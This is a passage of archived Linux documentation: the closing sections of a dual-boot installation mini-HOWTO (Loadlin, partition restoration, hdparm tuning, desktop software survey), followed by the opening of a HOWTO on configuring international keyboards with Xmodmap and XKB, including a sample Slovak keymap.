Loadlin users still have a little work to do. First boot into Linux with the floppy. If you logged in graphically start a terminal emulator like xterm or some other. There are always a couple of these under the utilities menu. Type mkdir /mnt/dosc. This is the first step to make your Windows partition accessble to Linux and this is particularly important for Loadlin users as it is the easiest way to tranfer the Linux kernel to your Windows partition. Next start linuxconf from the system menu or the xterm and look for the filesystem menu. Expand accesss local drives and select add. Type /dev/hda1 in the partition field, vfat in the type field and /mnt/dosc/ in the mount point field and mount the partition. Alternatively you can directly edit the fstab file in /etc in a text editor (Gedit is a good choice) and add the following line exactly as shown.
/dev/hda1    /mnt/dosc    vfat    defaults    0  0

This should give you access to your Windows partition, it will be in /mnt/dosc/. Copy the linux kernel to your C directory and rename it to vmlinuz. You will find it in /boot and probably called vmlinuz followed by your kernel version number in my case vmlinuz-2.2.14-5.0. Do not copy the vmlinuz with an arrow in it, its a symbolic link. Reboot into windows, get the loadlin package from the Linux cd – it will be in the /dostools/utils subdirectory. Unzip it and place Loadlin.exe in the C directory. Loadlin and the kernel can be anywhere on your windows partition but for the time being we will leave it in root directory of Windows. Now its up to you how you want to boot into Linux. Read the loadlin documentation for the details. The roundabout way is to restart the system in DOS mode and type:
C:> loadlin vmlinuz root=/dev/hda7 ro

This will boot you into Linux. The easier way is to make a .bat file with the same information and placing it on your desktop. Open notepad type c:\loadlin c:\vmlinuz root=/dev/hda7 ro and save the file as linux.bat, right click the file, select advanced, and check the msdos mode and warn settings. Make a shortcut to this file and put it on your desktop. The next time you want to boot into Linux just double click this file and you will be in – talk about convenience.

If you want to be prompted to boot into linux before Windows boots like the Lilo guys you have to make another .bat file and call it from your autoexec.bat file. It's very simple and the details are available in the Loadlin documentation. The file looks a bit like this.
    @echo off
    cls
    echo.
    echo.
    echo.
    echo.
    choice /t:n,5 "Do you wish to boot Linux?"
    if errorlevel 2 goto End
    c:\loadlin c:\vmlinuz  root=/dev/hda6  ro
    End
(This little script has been filched from the Loadlin documentation which you would know if you did the sensible thing and read the documentation)

Save this text as linux.bat or if there already is a linux.bat in your Windows root directory you can place it in another directory or give it another name. Add the following line to your autoexec.bat file c:\linux '(or whatever you have named the .bat file). The main thing if you are using a .bat file is to tell Loadlin where to find the kernel image file (vmlinuz). The above .bat file gives you the option to boot into Linux before Windows loads by typing y (for Linux) or n (for Windows) within five seconds at which point it boots Windows. Enjoy.

Prev | Home | Next
Rebooting |  | Removing Linux and restoring your Windows partition to its Original state


Removing Linux and restoring your Windows partition to its Original state

Linux Installation Strategies mini-HOWTO
Prev Next

12. Removing Linux and restoring your Windows partition to its Original state

Depending on whether you are using Lilo or Loadlin the method differs slightly. Lilo users have to first restore their original MBR either by typing /sbin/lilo -u within Linux or typing fdisk /MBR in DOS. The next steps are common for both Loadlin and Lilo users. These are not really neccessary but just to be on the safe side I do them all the same.

Boot using the Linux installation CD and type Linux expert at the first prompt, answer whatever you wish to the next questions until you get to the install selection screen. Here select Install and With Fdisk and use Fdisk to delete all Linux partitions. Write the changes to disk and Ctrl–Alt–Delete your way out of the installation program or reset your system to reboot. Remember to change the BIOS settings to boot from the hard disk or else you will reboot from the CDROM again.

Reboot once again, this time with the fips disk that has the backup of your partition table and boot sector – you saved it, didn't you? – and type restorrb at the prompt. Answer yes to the question, the program will restore your partition table and boot sector and you can pat yourself on the back for accomplishing the impossible – reclaiming lost partition space! This is all the more reason for making sure that the crucial backup file (Rootboot.000) is saved in at least 5 different locations. You can never be too careful. Reboot back into Windows and run scandisk on the newly increased C drive. It will report one error in the fsinfo sector which is just a used and free space accounting error. Your Linux data is now naturally lost for ever. Hopefully this procedure won't be neccessary unless you are increasing space allocated to Linux or getting rid of Windows.

Prev | Home | Next
Setting up Loadlin |  | XFree 4.01


XFree 4.01

Linux Installation Strategies mini-HOWTO
Prev Next

13. XFree 4.01

It's a good idea to upgrade your Xserver to 4.01. At the moment only RedHat 7.0 ships with this version of X but it is availabe from the X consortium's (how corny) ftp site – ftp.xfree86.org/. It provides direct acceleration and increased performance for a large number of accelerated cards and those with Nvidia cards are in luck for not only does X 4.01 natively provide excellent support for most of their cards but Nvidia have made available high performance OpenGL accelerated drivers – cheers to them. See XFree's home site – http://www.xfree86.org/ – for more info.

Prev | Home | Next
Removing Linux and restoring your Windows partition to its Original state |  | Tips and Suggestions


Tips and Suggestions

Linux Installation Strategies mini-HOWTO
Prev Next

14. Tips and Suggestions

  • Whatever soundcard you have Alsa drivers will deliver better performance and if like me you have the Yamaha 724 the Alsa drivers are nearly as good as those provided by Yamaha for Windows. You will of course have to compile them for your system but don't let that deter you. Its a simple matter of three commands. The alsa drivers are available at http://www.alsa-project.org/

  • Those used to scrolling with their mouse wheel/s will not like Linux if they can't scroll. The good news is you can but it is not set up by default. Add the following line to your XF86Config file in /etc/X11/ in the mouse section "ZAxisMapping 4 5" (obviously without the quotes though in Xfree 4.01 you would have to enclose the numerical values in quotes) If this doesn't work visit the Linux scroll wheel homepage at http://www.inria.fr/koala/colas/mouse-wheel-scroll/ set up by a curiously named fellow called Colas Nahaboo.

  • By default the hard disk is not configured to perform at its optimum and in most cases the difference can be dramatic. DMA, 32 bit IO and multiple sector transfers are disabled by default and you should enable them at the earliest this is of course presuming you have a relatively new hard disk that support these features. As a test you should benchmark your hdd before and after you change the settings just to see the difference tweaking can do to your system. The utility to change the settings is hdparm and you can run it from an xterm or the console but for a permanent solution append the command to your rc.d local file in /etc/rcd. Before you use hdparm read the documentation carefully. Its a powerful utility and misusing it can trash your disk. First run hdparm with the -i option to get the info on your hdd, then benchmark it without the changes by running hdparm -Tt /dev/hda. Then run hdparm -c 1 -d 1 -m16 -k 1 /dev/hda

    hdparm -d 1 (sets dma to on) -mx(this sets multiple transfers where x represents the maximum (in my case 16) that your hdd allows – running hdparm with the -i option gives you the maximum that your hdd allows ) -c 1 (sets 32 bit io) and -k 1 keeps the setting. In my case the data transfer shotup from a mere 3.16 to 16.8 Mb/sec!

  • A file system driver for the ext2 filesystem for Windows, ext2fs is available from its homepage http://uranus.it.swin.edu.au/~jn/linux/ giving you the added convienience of reading your Linux partitions from within Windows.

Prev | Home | Next
XFree 4.01 |  | The State of Linux – What to Expect


The State of Linux – What to Expect

Linux Installation Strategies mini-HOWTO
Prev

15. The State of Linux – What to Expect

Programmers and Enthusiasts – For programmers Linux is already a near perfect solution. No other system gives so offers you a wider array of tools and platforms for development. The flexibility is simply amazing and it doesn't carry a price tag. An added benefit is the sense of community and that's priceless.

Enthusiasts never had it so good. There is aways something new to discover and since the system is totally transparent your chances of understanding computing and programming in general – you will be interested if you aren't already – are infinitely higher than in Windows. Tinkering will never be the same again.

For the home user – There are 5 separate areas here, the internet, gaming, basic word processing, administration and multimedia. We aren't going to talk about ease of use here because the days of an ugly and unwieldy interface are long gone, at the moment as far as usability and sheer visual pizazz is concerned Gnome has taken the pants off Windows so there is nothing to worry about there. File management, installing and uninstalling software and basic administration are more streamlined and centralized and as you use Linux more you probably will get over any prejudice toward the command line which is nothing like the impotent DOS prompt. This is an outrageously powerful shell that will accomplish anything you can think off faster than it takes you to select a button. You might be intimidated at first but its the heart of Linux the control centre, the headquarters, your direct line to the kernel. Hardware configuration is not as simple as in Windows mostly because plug and play has complicated things not eased them but it's not difficult either, the best thing to do is set your BIOS to non pnp so that it can configure things especially the sound card, but read read read. There is a lot of documentation on your system and with that behind you everything becomes simple. There is no excuse for ignorance.

15.1. The Specifics – Wordprocessing

Corel WordPerfect is good but for the simplest solution try Abiword – http://www.abisource.com/. It's good and bears an uncanny resemblance to MSWord – now now. Both are free and widely available – I don't know about Wordperfect 9 , 8 is free, good and available. Other options are Applixware and Star Office. I haven't used Applix but Star Office is really ugly and slow and just the sort of software that could put you off Linux and its just as bad in Windows. Version 5.1 was tolerable but after Sun took it over its deteriorated and version 5.2 is the pits. Plain text and html editors are sprouting by the day. Most distribution carry a lot of software so look. I'm not much of a spreadsheet person but there is GNUmeric which is not unlike Excel and a glaring inadequacy in printing is now rectified. It looks good. Corel have ported nearly all their apps and they are not as expensive as their Windows counterparts and with the same functionality.

15.2. Multimedia

This is one area where Linux will not be found wanting. There are as many if not more mp3 players than Windows. The most common is XMMS, is somewhat like Winamp and just as good – has some great visualization plugins. Other mp3 players are Gqmpeg, Freeamp, Alsaplayer. That's enough for me. Mpeg1 vcd players are a bit scarce, MTV is good and available – hteztp://www.mtvplayer.com/ free for personal use – a totally free solution is available from lokigames – http://www.lokigames.com/ There are more. There are a few mp2 players movie is good. I' don't have a dvd player so I don't know but Xmovie should tackle mpeg2 streams. Most of my mpeg1 players are GL accelerated and perhaps my vcd playsback as well as Windows Media Player. Ripping is a reality with a lot of options no more ASPI headaches – most of the Linux apps read digital data directly from the discs and all the popular codecs are available; Xing, Fraunhofer but I use Blade and Lame – two excellent freeware encoders avalible for all platforms. There are also a couple of tools for cdwriting. Check some of the Linux archives.

15.3. Internet

Again things are really happening here though one wishes there were a few more browsers other than Netscape but then Netcape is adequate. There are all the other stuff you will find for Windows, chat utils, instant messaging, ftp, downLoaders etc.

15.4. Games

The problem area is games, there is a project on to port popular games to Linux by Lokigames and they have a number of titles ready – http://www.lokigames.com/ – Quake 2&3 are out, System Shock, Heavygear etc. The thing here is to make sure you have at least Xfree 4.01 and support for your video card.

15.5. Desktop Publishing

That leaves us with DTP and this is one area where Linux could pound Windows but the thrust has been missing. Linux could really be optimized for DTP. Ghostscript - a PostScript RIP – already offers a professional (if you know how) solution for printing and your printer is probably supported. If you already have a postscript printer there is no problem to start with. For image editing there is Gimp. It is nearly as good as Photoshop – and that's some compliment – but for lack of CMYK and colour management support ruling it out of serious print work but it can be a good semi-professional solution and for web work perfect and it's fun to use. Gimp also has a couple of good drivers for Epson printers. Ghostscript has a problem with bitmaps – not all bitmaps but photographs, you could eventually get some good output but it will take some amount of tweaking. As far as text and vector graphics is concerned it's good enough to replace my Epson driver in Windows (it has a Windows version) GhostScript is available at its homepage http://www.cs.wisc.edu/~ghost/

Word processing is already covered. The problem areas are vector editing and page layout. Framemaker for Linux is a solution and CorelDraw is available but they are both commercial offerings. There are vector editors but all are at a nascent stage. Sketch, Killustrator and Impress are coming along but far away from professional solutions like Draw and Adobe Illustrator. For page layout there is Tex but those used to Pagemaker, Quark or InDesign are not going to be amused, its tough to learn and difficult to control and there are way too many issues with things like fonts and its not wysiwyg – we can't live without that.

On a last note at the moment the only difference in productivity for me is in vector graphics, page layout and games. They are perhaps a year away at which point Linux would have over taken Windows – at least as far as I'm concerned – and I would have little reason to dual boot but I think having Windows is in a odd way comforting as is having Linux, perhaps I will always use them both.

Prev | Home
Tips and Suggestions |


How to setup international keyboard in X Window with Xmodmap and XKB

by Juraj Sipos, xvudpapc@savba.sk

v1.3, 01 December 2001

How to setup international keyboard in Linux or Unix with Xmodmap and XKB written by (c) Juraj Sipos. The Xmodmap is a file that XFree86 reads in order to give you a keyboard layout. This solution will work for you in setting up any international keyboard for (Debian, RedHat, Mandrake, CorelLinux) Linux, FreeBSD, OpenBSD, NetBSD and possibly every Unix that uses XFree86. The advantage of this howto is that it is not architecture specific and will work on all other systems. However, it is a little experimental in that that it bypasses some standardized XFree86 solutions (with respect to its older versions), although a standard form of internationalization is included too.

Table of Contents
1. Introduction
1.1. Copyright
1.2. Revision history
1.3. Introduction
2. Setting up international keyboard in X Window System with Xmodmap and XKB
2.1. Quick start
2.2. How to do it - this experimental or nonstandard solution is not necessary for newer versions of XFree86. Skip this if not interested
2.3. Xmodmap theory and standard Xmodmap solution
2.4. Experimental .Xmodmap sample file for the Slovak language typewriter layout
2.5. Character sets
2.6. ISO-8859-2 (ISO Latin2) character set
2.7. The standard ISO8859-2 definitions in the Xmodmap file
3. How this Xmodmap solution works on various systems
3.1. SuSE 6.4 and 7.0
3.2. SuSE 7.0 with Xfree86 version 3.3.6 and KDE 1.x
3.3. Mandrake Linux 7.2
3.4. Mandrake 8.1
3.5. RedHat 5.1, 5.2, 6.0, 6.1 and 6.2 (XFree86 3.3.6 and older)
3.6. RedHat 7.2
3.7. FreeBSD 3.1 and 3.2
3.8. FreeBSD 4.1
3.9. FreeBSD 4.4.
3.10. Corel Linux 1.0 and 1.1
3.11. ISO* specifications
4. Some national Xmodmap files
4.1. German
4.2. Hungarian
4.3. Czech
4.4. Polish
4.5. French
4.6. Croatian/Slovenian
4.7. Lithuanian keyboard (AZERTY layout)
4.8. Polish
5. Troubleshooting and some Xmodmap tips
5.1. Troubleshooting
5.2. Tips
6. Links
6.1. Other information on internationalization
6.2. Links to some non ISO8859-1 fonts
Next
Introduction


Introduction

How to setup international keyboard in X Window with Xmodmap and XKB
Prev Next

1. Introduction

1.1. Copyright

This documentation is free documentation; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

1.2. Revision history

Version 1.0.0

Initial version Summer 1999

Version 1.1

Added copyright information and slight modifications pertaining to newer systems

Version 1.2

Completely rebuilt, added the possibility to force the system to read Xmodmap; some national Xmodmap files added, more information included on building up the standard Xmodmap files

Version 1.3

Minor corrections, spell checking and editation made, few more Xmodmap files added; list of what all ISO8859* specifications mean

Version 1.4

Correction of script for including X Window fonts to StarOffice 5.2

Version 1.5

December 2001, Links on internationalization added, info on XKB, troubleshooting, info on newer Linux versions, StarOffice 6

1.3. Introduction

The international keyboard Xmodmap HOWTO. Copyright (C) 1999, 2001 Juraj Sipos (xvudpapc@savba.sk). Imagine you use a Linux or a BSD OS and want to write a business letter to a person that has a foreign name with a slash or idiaresis. Danish language uses signs like ø and Spanish like ñ.

This is the Xmodmap Howto, but some info on XKB is included, too. With this information you can make your own international keyboard layout without installing any additional packages. The following information will help you set up German, Spanish, Italian, Slovak, Czech, Polish, Slovenian, Croatian, Danish, Dutch, French, Finnish, Norwegian, Estonian, Latvian, Swedish and other keyboards. You can also alternatively look at my hompage at http://www.freebsd.nfo.sk to see layouts of various keyboards. In case you want to install Greek, Hebrew or Russian language, follow my information and apply changes pertinent to these languages also with respect to other documentation (e.g., install Greek fonts, etc., see the Cyrilic, Hebrew, or Danish howto).

Prev | Home | Next
How to setup international keyboard in X Window with Xmodmap and XKB |  | Setting up international keyboard in X Window System with Xmodmap and XKB


Setting up international keyboard in X Window System with Xmodmap and XKB

How to setup international keyboard in X Window with Xmodmap and XKB
Prev Next

2. Setting up international keyboard in X Window System with Xmodmap and XKB

2.1. Quick start

2.1.1. Xmodmap

Make your own .Xmodmap file according to information in this file.

Write the following to your .bash_profile in your home directory:

export LANG=language

where "language" is the language you want to use. The languages can be found in the file locale.alias in /usr/X11R6/lib/X11/locale. Note: some programs, like Mozilla, won't care about these user's locale settings. Run "exit" command on the console and log in again for bash to read the statement from its .bash_profile.

Install fonts (best are ISO8859-2 Type1 fonts for Eastern Europe, Czech or Slovak), put them in your font path in the /etc/X11/XF86Config file (on some newer systems this is not necessary). Start X Server. Run the command "xmodmap /.Xmodmap" from an X terminal window to force the system to read the .Xmodmap file.

2.1.2. XKB

Provided you have your fonts installed, just open the X Terminal window and issue a command: setxkbmap kb, where "kb" is the keyboard layout you want to use, for example: setxkbmap si

for the Slovenian language

setxkbmap de

for the German language

All the language names you may use are located in /usr/X11R6/lib/X11/xkb/symbols directory.

If you are using KDE, open the KDE Start button, click on Preferences, Personalization, Country & Language and choose ISO8859-2 charset. Note that this may be slightly different depending on the Linux distribution.

Switch the keyboard (my xmodmap definition uses Scroll Lock for switching, other xmodmap files use Right Alt) and enjoy.

You may alternatively edit the /etc/X11/Xf86Config file as explained in the Danish Howto, or issue this command in an X terminal window for the Slovak keyboard:

setxkbmap -model pc102 -symbols 'czsk(us_sk_qwertz)' setxkbmap cs -option grp:shift_toggle

In RedHat 7.2 and Mandrake 8.1, it is enough to run the following setxkbmap command from an X Terminal Window (assuming you have correct fonts installed): setxkbmap sk setxkbmap si setxkbmap de

qwerty or qwertz means that the letter z Z and y Y are swapped.

To see a variety of language maps (symbols), look in the file symbols.dir in /usr/X11R6/lib/X11/xkb directory.

Some X Window managers override .Xmodmap setting. If .Xmodmap isn't read by X automatically after starting the X Window System, a good way is to force the system to read it from your root (home) directory. You will do this by issuing the following command from an X terminal window:

xmodmap /.Xmodmap

After I installed the Slovak keyboard in KDE with Xmodmap file that used the standard definitions for ISO8859-2 keycode entities (lcaron, scaron, etc.), I couldn't write in Slovak or Czech, so I made few changes to the Xmodmap file explained later in this file. After applying these changes, no other changes were necessary.

2.2. How to do it - this experimental or nonstandard solution is not necessary for newer versions of XFree86. Skip this if not interested

Put the following in your .bash_profile:

export LANG=language

OR

OR for csh shell

setenv LANG=langauge

and have the standard Xmodmap file in your home directory. If you ask me where you may obtain such "standard" Xmodmap files, go to GNOME ../share directory. The file /usr/X11R6/lib/X11/locale/locale.alias contains the aliases for langauges, so look there in order to find out what is ca_ES or br_FR (the exact syntax for your language to use - you cannot write "croatia" but you must write "croatian", not "Croatian"; this is very important, as Unix is case sensitive).

Now you must install the pertinent language fonts and put path in XF86Config file to these fonts. If you want to internationalize your keyboard, use the standard Xmodmap definitions first and use right alt to switch between keyboards (if you use GNOME Xmodmap files). If it does not work, do the following:

a) Copy the "Compose" file from: /usr/X11R6/lib/X11/locale/iso8859-2 to: /usr/X11R6/lib/X11/locale/iso8859-1 directory (yes, iso8859-1, not iso8859-2). Back up the original "Compose" file if you want

b) Put the included .Xmodmap file to your root directory (Slovak language, or make your own .Xmodmap file, or choose from the ones listed here).

c) Install ISO8859-2 fonts (or other pertinent fonts).

You may try to issue the command:

xset q

to see which fonts are in your path.

If you want to add fonts in your path from the X Window System, issue the command:

xset fp+ /usr/fonts_path

xset fp rehash

d) Disable every "Scroll Lock" uncommented line in your XF86Config, because our .Xmodmap file for the Slovak language uses the Scroll Lock to switch between keyboards.

e) Put the appropriate fontpath for your newly installed fonts in the XF86Config file, if necessary (Mandrake 7.2 and other OS's may not require this). The Xmodmap solution may be applied to all X keyboards of your choice.

First, I must say that in my solution (in older XFree86 versions), different mapping is used for Xmodmap keycodes for some ISO8859-2 keycode entities. ISO8859-2 definitions (keycode entities) like lcaron, zcaron actually do not work. This means that the ISO8859-1 definitions must be used instead and they will either give you what they say they are (aacute [á], eacute [é], etc.), or they will not give you what they say they are (using ISO8859-2 fonts, putting "threequarters" in your .Xmodmap file will not give you "3/4" but "z" with a caron, a reversed ^ above it). For example, "mu" will give lcaron, "oslash" rcaron, etc.

However, other key definitions, for example, adieresis (a with two dots above it), uacute (u with a slash above it), as well as dead_diaeresis do not require a substitution of other definitions and work pretty well, as they're defined everywhere (a dead key is a key you press, hold it, yet nothing happens, but after pressing another key you will get a special letter).

The original "Compose" file in ../iso8859-1 directory can be fully utilized for English, Slovak or Czech keyboard layouts (Polish, Hungarian, Slovenian, Croatian) in some older XFree86 distributions, but there is only one problem - dead keys do not work. That's why you have to copy the "Compose" file from the iso8859-2 directory to iso8859-1 directory, or alternatively, you can edit the "Compose" file in iso8859-1 directory.

You can leave the Keyboard section in your XF86Config file without much change. Put (if it's not already there) the following in the "Keyboard" section:

Section "Keyboard"

Protocol "Standard"

XkbRules "xfree86"

XkbModel "pc101"

XkbLayout "us"

Force the system to read the xmodmap map by issuing the command: "xmodmap /.Xmodmap". Alternatively, you can have 60 .Xmodmap files like .Xmo1, .Xmo2, .Xmo3, .Xmo4, etc., and you may force the system to read them (xmodmap /.Xmo1). The dot means it is a hidden file and it is not necessary. You may also have xmo1, xmo2, or xmo3 Xmodmap files.

StarOffice 6.0 handles well conversion to win1250 and vice versa, so you can transport documents to a M$ platform. In my Mandrake 8.0, StarOffice 6.0 was internationalized immediately after using my standard Xmodmap solution. All the fonts worked. However, with StarOffice 5.2 this is not the case. In StarOffice 5.2, you must add X fonts to StarOffice's fonts directory. Here is a script that will do it for you. Cut it, name it "so52", make it executable (chmod +x so52), copy it to the StarOffice5.2/share/xp3 directory and execute it there.

-------------------------------cut_here-----------------------------------

#!/bin/sh

# Put path to your StarOffice here

STAR_OFFICE_ROOT=/mnt/StarOffice5.2

FONTS_DIR=/usr/X11R6/lib/X11/fonts/ISO8859-2/Type1

# -----------------------------------------------------------------------

# Don't edit the script here

# -----------------------------------------------------------------------

XP3_DIR=$STAR_OFFICE_ROOT/share/xp3

if [ -e $XP3_DIR/psstd.fonts.il2 ]; then

echo "Changes were already done!"

echo "If there's a problem, delete the file"

echo " $XP3_DIR/psstd.fonts.il2"

exit 1

fi

if [ -e $FONTS_DIR/afm ]; then

AFM_DIR=$FONTS_DIR/afm

else

AFM_DIR=$FONTS_DIR

fi

# Link AFM files.

ln -sf $AFM_DIR/*.[aA][fF][mM] $XP3_DIR/fontmetrics/afm

# Link PFB files.

ln -sf $FONTS_DIR/*.[pP][fF][bB] $XP3_DIR/pssoftfonts

grep "\.pf" $FONTS_DIR/fonts.dir \

| sed -e 's/\.pfb /, /g' -e 's/-0-0-0-0-/-%d-%d-%d-%d-/g' \

> $XP3_DIR/psstd.fonts.il2

cat $XP3_DIR/psstd.fonts.il2 >> $XP3_DIR/psstd.fonts

------------------------------------cut_here-----------------------------

StarOffice 5.2 fully recognizes Word97 documents even written in other languages, but a converter from iso8859-2 to win1250 encoding is necessary in order to transport ISO8859-2 documents to M$ platform. For html documents this is not necessary.

StarOffice 5.2 can be thus used by professional translators

2.3. Xmodmap theory and standard Xmodmap solution

If you want to edit and make your own .Xmodmap keyboard layout definitions, I'll explain one line of the .Xmodmap file to make clear what you should do.

This explanation can be used for all keycodes. For example, the line:

keycode 0x11 = 8 asterisk aacute 8

(note: keycode 0x11 is derived from the "xkeycaps" utility; you can also use the X Window "xev" utility to explore keyboard puzzles.)

says that the first pair, the default one, (number "8" and "asterisk") will display number "8" when you press keycode 0x11 ("8"), will display asterisk when a "shift" key is pressed. After pressing the Scroll Lock, there's another definition: ISO_NEXT_GROUP, which means that when you press the default "8" key, no "8" will be displayed, but aacute ("á"); when you press the "shift" key, number "8" will be displayed. So if you change "aacute" and "8", anything you put instead of "aacute" and "8" will be displayed, for example:

keycode 0x11 = 8 asterisk semicolon colon

will give you "semicolon" and "colon" in your 0x11 keycode after pressing the Scroll Lock.

The ISO_NEXT_GROUP is defined by another line. If this line is not defined, you will be able to use only two definitions ("8" and "asterisk") - look at my .Xmodmap file. If you delete the ISO_NEXT_GROUP (the next pair of definitions on the right), you will have only one group of keyboard definitions ("8" and "asterisk"). Be careful when editing the .Xmodmap file. You mustn't delete definitions that enable utilization of the Scroll Lock unless you know what you are doing (or you map the second keyboard by right Alt). These are the lines such as:

keycode 0x4e = ISO_Next_Group

add mod5 = ISO_Next_Group,

etc. You must also keep in mind that Unixes are case sensitive. If you want to find out more about keycodes, install the package "xkeycaps" or use "xev".

2.4. Experimental .Xmodmap sample file for the Slovak language typewriter layout

_______________________cut_here_________________________

keycode 0x09 = Escape

keycode 0x43 = F1 F11 F1 Multi_key

keycode 0x44 = F2 F12 F2 F12

keycode 0x45 = F3 F13 F3 F13 idiaeresis

keycode 0x46 = F4 F14 F4 F14 mu yen

keycode 0x47 = F5 F15 F5 F15 guillemotright guillemotleft

keycode 0x48 = F6 F16 F6 F16 ograve

keycode 0x49 = F7 F17 F7 dead_abovedot oacute

keycode 0x4A = F8 F18 F8 dead_breve acute

keycode 0x4B = F9 F19 F9 dead_cedilla ugrave

keycode 0x4C = F10 F20 F10 dead_ogonek

keycode 0x5F = F11 F21 dead_acute dead_caron

keycode 0x60 = F12 F22 dead_abovering dead_diaeresis

keycode 0x6F = Print Execute dead_iota

keycode 0x4E = ISO_Next_Group

keycode 0x6E = Pause

keycode 0x31 = grave asciitilde semicolon dead_diaeresis

keycode 0x0A = 1 exclam plus 1

keycode 0x0B = 2 at mu 2

keycode 0x0C = 3 numbersign onesuperior 3

keycode 0x0D = 4 dollar egrave 4

keycode 0x0E = 5 percent 0x0bb 5

keycode 0x0F = 6 asciicircum threequarters 6

keycode 0x10 = 7 ampersand yacute 7

keycode 0x11 = 8 asterisk aacute 8

keycode 0x12 = 9 parenleft iacute 9

keycode 0x13 = 0 parenright eacute 0

keycode 0x14 = minus underscore equal percent

keycode 0x15 = equal plus dead_acute dead_caron

keycode 0x33 = backslash bar ograve parenright

keycode 0x16 = BackSpace

keycode 0x6A = Insert

keycode 0x61 = Home

keycode 0x63 = Prior

keycode 0x4D = Num_Lock Pointer_EnableKeys

keycode 0x70 = KP_Divide slash

keycode 0x3F = KP_Multiply asterisk

keycode 0x52 = KP_Subtract minus

keycode 0x17 = Tab ISO_Left_Tab

keycode 0x18 = q Q

keycode 0x19 = w W

keycode 0x1A = e E

keycode 0x1B = r R

keycode 0x1C = t T

keycode 0x1D = y Y z Z

keycode 0x1E = u U

keycode 0x1F = i I

keycode 0x20 = o O

keycode 0x21 = p P

keycode 0x22 = bracketleft braceleft acute slash

keycode 0x23 = bracketright braceright diaeresis parenleft

keycode 0x24 = Return

keycode 0x6B = Delete

keycode 0x67 = End

keycode 0x69 = Next

keycode 0x4F = KP_Home 7 KP_Home

keycode 0x50 = KP_Up 8

keycode 0x51 = KP_Prior 9

keycode 0x56 = KP_Add plus

keycode 0x42 = Caps_Lock

keycode 0x26 = a A

keycode 0x27 = s S

keycode 0x28 = d D

keycode 0x29 = f F

keycode 0x2A = g G

keycode 0x2B = h H

keycode 0x2C = j J

keycode 0x2D = k K

keycode 0x2E = l L

keycode 0x2F = semicolon colon ocircumflex quotedbl

keycode 0x30 = apostrophe quotedbl section exclam

keycode 0x53 = KP_Left 4

keycode 0x54 = KP_Begin 5

keycode 0x55 = KP_Right 6

keycode 0x32 = Shift_L ISO_Next_Group

keycode 0x34 = z Z y Y

keycode 0x35 = x X

keycode 0x36 = c C

keycode 0x37 = v V

keycode 0x38 = b B

keycode 0x39 = n N

keycode 0x3A = m M

keycode 0x3B = comma less comma question

keycode 0x3C = period greater period colon

keycode 0x3D = slash question minus underscore

keycode 0x3E = Shift_R

keycode 0x62 = Up

keycode 0x57 = KP_End 1

keycode 0x58 = KP_Down 2

keycode 0x59 = KP_Next 3

keycode 0x6C = KP_Enter Return

keycode 0x25 = Control_L ISO_Next_Group

!keycode 0x40 = Alt_L Meta_L

keycode 0x40 = Meta_L Alt_L

keycode 0x41 = space

keycode 0x71 = Alt_R Meta_R

keycode 0x6D = Control_R

keycode 0x64 = Left

keycode 0x68 = Down

keycode 0x66 = Right

keycode 0x5A = KP_Insert 0

keycode 0x5B = KP_Delete period

!keysym Alt_L = Meta_L

!keysym F12 = Multi_key

clear Shift

!clear Lock

clear Control

clear Mod1

clear Mod2

clear Mod3

clear Mod4

clear Mod5

add Shift = Shift_L Shift_R

add Control = Control_L Control_R

!add Mod1 = Alt_L Alt_R

add Mod1 = Meta_L Alt_R

add Mod2 = Num_Lock

add Mod5 = ISO_Next_Group

!add Mod1 =

!add Mod2 = Alt_R Alt_L Mode_switch

keycode 0x73 = ISO_Next_Group

keycode 0x74 = dead_acute dead_diaeresis

keycode 0x75 = dead_caron dead_abovering

_____________________________cut_here_____________________________

You may find almost any xmodmap file in the GNOME directory in (SuSE) /opt/gnome/share/xmodmap (with standard ISO8859-1,2 and other definitions). To switch between the keyboards, use right Alt.

2.5. Character sets

The purpose of the following info is to help you build any .Xmodmap keyboard layout with ISO8859-2 or other fonts. The ISO8859-2 Character Set file is included here for you to know which names are used for pertinent keys. You should not bother about the numbers, but notice how keys are named. Much of this information is useful to build a keyboard with ISO8859-1 characters only, or a combination of East European characters and Western characters. If you're going to use other languages than the Central European or Western European ones, find a pertinent table for your ISO*** character set on Internet. The gdkkeysyms.h file, that contains all the crazy names for keycode entities including hexcodes, is in (older versions of RedHat) /usr/include/gdk/ directory. If no gdkkeysyms.h file is on your sustem, see the file /usr/X11R6/include/X11/keysymdef.h, or try to look in /lib/perl5/site_perl/5.6.0/i386-linux/GTK/keysyms.pm (it also contains names of keycode entities including hex codes). If you have a newer version of PERL, the "5.6.0" may differ. The similar should apply to other systems (FreeBSD), as all these use PERL.

2.6. ISO-8859-2 (ISO Latin2) character set

Xmodmap entity Visually

----------------------------------------------------------------------

space

exclam !

quotedbl "

numbersign #

dollar $

percent

ampersand &

quoteright '

parenleft (

parenright )

asterisk *

plus +

comma ,

hyphen -

period .

slash /

zero 0

one 1

two 2

three 3

four 4

five 5

six 6

seven 7

eight 8

nine 9

colon :

semicolon ;

less < <

equal =

greater > >

question ?

at @

A A

B B

C C

D D

E E

F F

G G

H H

I I

J J

K K

L L

M M

N N

O O

P P

Q Q

R R

S S

T T

U U

V V

W W

X X

Y Y

Z Z

bracketleft [

backslash \

bracketright ]

asciicircum ^

underscore _

quoteleft `

a a

b b

c c

d d

e e

f f

g g

h h

i i

j j

k k

l l

m m

n n

o o

p p

q q

r r

s s

t t

u u

v v

w w

x x

y y

z z

braceleft {

bar |

braceright }

tilde

space

Aogonek

breve

Lslash

currency

Lcaron

Sacute

section

dieresis

Scaron

Scedilla

Tcaron

Zacute

hyphen

Zcaron

Zdotaccent

degree

aogonek

ogonek

lslash

acute

lcaron

sacute

caron

cedilla

scaron

scedilla

tcaron

zacute

hungarumlaut

zcaron

zdotaccent

Racute

Aacute

Acircumflex

Abreve

Adieresis

Lacute

Cacute

Ccedilla

Ccaron

Eacute

Eogonek

Edieresis

Ecaron

Iacute

Icircumflex

Dcaron

Eth

Nacute

Ncaron

Oacute

Ocircumflex

Ohungarumlaut

Odieresis

multiply

Rcaron

Uring

Uacute

hungarumlaut

Udieresis

Yacute

Tcedilla

germandbls

racute

aacute

acircumflex

abreve

adieresis

lacute

cacute

ccedilla

ccaron

eacute

eogonek

edieresis

ecaron

iacute

icircumflex

dcaron

dbar

nacute

ncaron

oacute

